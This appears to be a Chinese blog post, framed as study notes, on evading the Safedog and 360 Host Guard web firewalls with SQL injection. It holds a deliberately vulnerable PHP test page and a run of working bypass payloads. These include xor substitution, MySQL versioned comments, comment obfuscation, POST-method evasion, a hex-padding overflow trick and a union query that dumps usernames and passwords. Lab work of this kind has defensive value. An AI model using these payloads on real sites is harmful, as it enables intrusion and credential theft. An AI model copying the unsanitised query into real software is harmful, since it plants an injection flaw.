「经验总结」SQL注入Bypass安全狗360主机卫士

2020-3-22 16:33 |来自: 互联网 1729 0

摘要: 0x00 前言这类的文章已经是比较多了，本文也主要是作为学习笔记来记录，主要是记录一下我在学习 SQL 注入 Bypass 的过程，同时前人的不少绕过方法已经失效了，所以这里也是记录一下最新规则的一些绕过方法。0x01 环境搭建测试环境：Win7 + Apache + MySQL 5.7.26 + PHP 5.5.45测试代码：聽上面的测试代 ...

关键词： AAAAAAAAAAAAAAAA 39 方法 select 测试 MySQL 代码安全 union 所以

0x00 前言

这类的文章已经是比较多了，本文也主要是作为学习笔记来记录，主要是记录一下我在学习 SQL 注入 Bypass 的过程，同时前人的不少绕过方法已经失效了，所以这里也是记录一下最新规则的一些绕过方法。

0x01 环境搭建

测试环境：Win7 + Apache + MySQL 5.7.26 + PHP 5.5.45

测试代码：

聽聽if ($_GET['id']==null){$id=$_POST['id'];}
聽else {$id=$_GET['id'];}
聽$con = mysql_connect("localhost","root","root");
聽if (!$con){die('Could not connect: ' . mysql_error());}
聽mysql_select_db("dvwa", $con);
聽$query = "SELECT first_name,last_name FROM users WHERE user_id = '$id'; ";
聽$result = mysql_query($query)or die(''.mysql_error().'
');
聽while($row = mysql_fetch_array($result))
聽{
聽聽echo $row['0'] . "聽" . $row['1'];
聽聽echo "
";
聽}
聽echo "
";
聽echo $query;
聽mysql_close($con);
聽?>

上面的测试代码是参考安全客上的一篇文章，不过为了方便测试在原代码的基础上加入了 POST 传参功能，代码来自本文参考文章第 2 篇。

为方便接下来的测试，需要本地先安装 dvwa ，至于代码中其他的参数，比如数据库地址、用户名、密码什么的自行根据自己本地配置情况修改即可。

如果这个代码在使用的过程中，只使用 POST 方法传参的话，页面是会输出错误信息的，如果不想让它输出错误信息，可以在 php.ini 文件中修改 display_errors 为 Off ，然后重启 Apache 即可。

访问本地搭建的靶场地址，像下面这个样子就算是搭建成功了，其中 192.168.38.132 需要修改为你自己的靶机 IP 地址。

聽http://192.168.38.132/sql.php?id=1

0x02 安全狗

1、搭建

下载地址：http://free.safedog.cn/website_safedog.html

我下载的是 Windows Apache V4.0 的版本，2019-11-27 更新的规则。

在安装安全狗的时候，如果不知道服务名填什么，可以查看本文参考文章第 5 篇。

如果使用 phpstudy 8.0 及更高版本可能在系统服务中找不到 apache 的服务名，所以这时建议使用 8.0 以下版本，比如 phpstudy 2018，之后再设置运行模式为“系统服务”即可，不要问我怎么知道的 [狗头]

搭建好后，我们构造 SQL 注入语句判断注入点，访问目标网站，网站有安全狗的提示，说明就搭建好了。

聽http://192.168.38.132/sql.php?id=1' and '1'='1

2、找寻绕过方法

聽' and '1'='1

多次测试发现单引号不会被拦截，and 也不会被拦截，只有当 and 后加上字符，比如 and '1' 的时候才会被拦截，所以接下来就主要针对 and 进行绕过测试。

一般情况下，如果 and 被拦截，可以下列字符进行绕过。

聽+，-，*，%，/，<<，>>，||，|，&，&&

或者使用 or 进行绕过，也可以直接使用异或进行绕过。

聽^，xor

因为我下载的版本的规则是最新的，所以参考文章中利用 && 替换 and 的方法已经失效了，经过多次测试，这里使用异或是可以绕过安全狗进而判断注入点的。

聽' xor '1

接下来使用 union select 查看一下数据库名和用户名。

聽'union select database(),user()'

直接这样肯定会被拦截的，所以接下来找寻绕过方法。

a、利用()代替空格

'union select(database()),(user())'

数据或者函数周围可以无限嵌套()。

b、利用 mysql 特性 /!/ 执行语句

'union /*!50010select*/(database()),(user())'

/!/ 中间的代码是可以执行的，其中 50010 为 mysql 版本号，只要 mysql 大于这个版本就会执行里面的代码。

c、利用/**/混淆代码

'union/**//*!50010select*/(database/**/()),(user/**/())'

mysql 关键字中是不能插入 /**/ 的，即 se/**/lect 是会报错的，但是函数名和括号之间是可以加上 /**/ 的,像 database/**/() 这样的代码是可以执行的。

事实上，由于我的防护规则是 2019-11-27 更新的，所以即使如此，依旧不能绕过，不过由于安全狗对于 GET 的过滤相较于 POST 更为严格，所以后来经过测试发现使用 POST 方法是可以进行绕过的。

可以看到使用 POST 方法是可以成功绕过，除了上面的3个方法，有时候使用 %00 也会有意想不到的效果。

知道了绕过方法，便可以一路找到用户名和密码。

'union select user,password from users#

经过测试，发现在 POST 方法下，加个括号即可绕过安全狗，这也足以看出安全狗对于 POST 方法的过滤是多么不严格。

'union select user,password from (users)#

绕过的方法还有很多，安全狗的就记录到这里，接下来看看 360 主机卫士。

0x03 360 主机卫士

1、搭建

曾经 360 出现过一款 360 主机卫士，不过现在已经停止更新和维护了，官网也打不开了，所以只能在第三方网站下载了，这里我下载的是 2.0.5.9 版本。

下载地址：http://www.pc6.com/softview/SoftView_145230.html

虽然 360 主机卫士已经停止了更新，但是拿来练练手还是可以滴。

下载之后，访问 ' and '1'='1 如果发现被拦截了，返回内容像下面这个样子，说明就搭建成功了。

2、找寻绕过方法

' and '1'='1

经过多次测试，这里使用 && 即可绕过，使用异或也是可以绕过的。

接下来看看 union select 怎么进行绕过。

'union select database(),user()'

经过多次测试，发现可以通过缓冲区溢出进行绕过，但也只有在 POST 方法下才有效。

' and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)union select database(),user()'